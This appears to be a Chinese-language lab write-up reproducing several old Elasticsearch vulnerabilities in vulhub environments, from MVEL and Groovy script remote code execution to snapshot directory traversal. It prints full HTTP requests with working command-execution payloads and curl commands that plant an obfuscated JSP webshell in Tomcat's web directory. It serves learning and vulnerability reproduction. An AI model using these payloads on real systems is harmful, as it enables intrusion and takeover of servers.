簡介
漏洞環境均為vulhub。
參考鏈接:
百科:https://baike.baidu.com/item/elasticsearch/3411206?fr=aladdin
Elasticsearch是一個基於Lucene的搜索服務器。它提供了一個分布式多用戶能力的全文搜索引擎,基於RESTful web接口。Elasticsearch是用Java語言開發的,並作為Apache許可條款下的開放源碼發布,是一種流行的企業級搜索引擎。Elasticsearch用於雲計算中,能夠達到實時搜索,穩定,可靠,快速,安裝使用方便。官方客戶端在Java、.NET(C#)、PHP、Python、Apache Groovy、Ruby和許多其他語言中都是可用的。根據DB-Engines的排名顯示,Elasticsearch是最受歡迎的企業搜索引擎,其次是Apache Solr,也是基於Lucene。
ElasticSearch啟動時,會占用兩個端口9200和9300。
- 9200 是ES節點與外部通訊使用的端口。它是http協議的RESTful接口(各種CRUD操作都是走的該端口,如查詢:http://localhost:9200/user/_search)。
- 9300是ES節點之間通訊使用的端口。它是tcp通訊端口,集群間和TCPclient都走的它。(java程序中使用ES時,在配置文件中要配置該端口)
CVE-2014-3120
參考鏈接:
https://www.cnblogs.com/sallyzhang/p/12450035.html
ElasticSearch有腳本運行(scripting)的功能,能夠非常方便地對查詢出來的數據再加工處理。 ElasticSearch用的腳本引擎是MVEL,這個引擎沒有做不論什么的防護,或者沙盒包裝,所以直接能夠運行隨意代碼。
影響版本:ElasticSearch 1.2之前的版本
漏洞復現
啟動docker環境,使用瀏覽器訪問9200端口,首先需要使用ElasticSearch的目錄創建數據。最開始我還以為訪問uri會有web頁面,發現並沒有,所以下面的請求包可以直接在burp中使用,name名字自定義。
POST /website/blog/ HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24
{
"name": "ahtoh"
}
創建成功。
使用漏洞payload進行命令執行,也是直接使用POST包,尷尬。。。
POST /_search?pretty HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 366
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
}
}
命令執行成功截圖。
其中Java等價於:
String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\\A").next();
//A means "start of string", and \z means "end of string".
String s2 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);
漏洞修復
- 升級版本。
- 在elasticsearch.yml里配置script.disable_dynamic: true
CVE-2015-1427
參考鏈接:
2014年爆出的(CVE-2014-3120),由於搜索引擎支持使用腳本代碼(MVEL)作為表達式進行數據操作,攻擊者可以通過MVEL構造執行任意Java代碼,后來腳本語言引擎換成了Groovy,並且加入了沙盒進行控制,危險的代碼會被攔截,結果這次由於沙盒限制的不嚴格,導致遠程代碼執行。
這次輪到的Groovy,影響版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 腳本引擎存在漏洞。這個漏洞允許攻擊者構造Groovy腳本繞過沙箱檢查執行shell命令。
漏洞復現
跟2014-3120一樣,復現前得先添加一條數據,還是這個。
POST /website/blog/ HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 24
{
"name": "ahtoh"
}
執行成功會響應201,如上。
利用反射機制執行JAVA代碼Payload:
POST /_search?pretty HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 489
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
執行成功截圖:
漏洞修復
升級到 1.4.3 或者更新版本來修復這個漏洞
CVE-2015-3337(任意文件讀取)
參考鏈接:
ElasticSearch安裝site插件后,通過…/可以向上層目錄跳轉,導致任意文件讀取。
漏洞復現
訪問目的地址:http://139.198.172.202:9200/_plugin/head/
emm,這個漏洞我一直復現失敗,提示404,不知道為啥,就是文件讀取,先不復現了。
CVE-2015-5531(目錄穿越)
參考鏈接:
https://www.cnblogs.com/sallyzhang/p/12457031.html
1.5.1及以前,無需任何配置即可觸發該漏洞。之后的新版,配置文件elasticsearch.yml中必須存在path.repo,該配置值為一個目錄,且該目錄必須可寫,等於限制了備份倉庫的根位置。不配置該值,默認不啟動這個功能。
這個1.5.1可能有問題,因為我查到的其他漏洞版本都是1.6.1之前版本,這個我沒有細糾了,因為我懶。
漏洞復現
使用PUT方式新建一個倉庫。
PUT /_snapshot/test HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
新建倉庫成功。
創建一個快照。
PUT /_snapshot/test2 HTTP/1.1
Host: 139.198.172.202:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 126
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
快照創建成功截圖。
訪問鏈接進行文件讀取操作:
讀取內容結果:
讀取后的內容是以ASCII碼的形式返回,通過在Firefox或chrome瀏覽器的控制台中,輸入String.fromCharCode(ASCII)
進行結果查看。
漏洞修復
沒有找到,。!
WooYun-2015-110216
參考鏈接:
ElasticSearch具有備份數據的功能,用戶可以傳入一個路徑,讓其將數據備份到該路徑下,且文件名和后綴都可控。所以,如果同文件系統下還跑着其他服務,如Tomcat、PHP等,我們可以利用ElasticSearch的備份功能寫入一個webshell。
和CVE-2015-5531類似,該漏洞和備份倉庫有關。在elasticsearch1.5.1以后,其將備份倉庫的根路徑限制在配置文件的配置項path.repo中,而且如果管理員不配置該選項,則默認不能使用該功能。即使管理員配置了該選項,web路徑如果不在該目錄下,也無法寫入webshell。
漏洞復現
簡單介紹一下本測試環境。本測試環境同時運行了Tomcat和ElasticSearch,Tomcat目錄在/usr/local/tomcat,web目錄是/usr/local/tomcat/webapps;ElasticSearch目錄在/usr/share/elasticsearch。我們的目標就是利用ElasticSearch,在/usr/local/tomcat/webapps目錄下寫入我們的webshell。
使用kali或其他Linux系統執行下面命令,創建一個惡意索引文檔。
curl -XPOST http://139.198.172.202:9200/yz.jsp/yz.jsp/1 -d '{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}'
為啥要是用Linux系統執行這個curl命令,因為我用Windows自帶的老是失敗。
但是Linux的很容易成功。
再使用curl創建一個惡意的存儲庫,其中location的值即為我們要寫入的路徑。寫入文件的路徑可以根據自己需要自定義,如果寫入的路徑不存在會自動創建,路徑指向tomcat的web部署目錄即可。
這個Repositories的路徑比較有意思,因為他可以寫到可以訪問到的任意地方,並且如果這個路徑不存在的話會自動創建。那也就是說你可以通過文件訪問協議創建任意的文件夾。這里我把這個路徑指向到了tomcat的web部署目錄,因為只要在這個文件夾創建目錄Tomcat就會自動創建一個新的應用(文件名為wwwroot的話創建出來的應用名稱就是wwwroot了)。
curl -XPUT 'http://139.198.172.202:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/usr/local/tomcat/webapps/wwwroot/", "compress": false } }'
存儲庫驗證並創建。
curl -XPUT "http://139.198.172.202:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }'
至此我們要寫入webshell的文件已經創建完成,訪問該文件。
http://139.198.172.202:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp
頁面顯示500,但是沒有關系,我們在后面傳入參數f
,並指定一值ahtoh
,便可以將ahtoh
寫入到/wwwroot/test.jsp
文件中。
漏洞修復
- 升級elasticsearch版本
- 漏洞利用條件還是有要求的,根據原理進行修復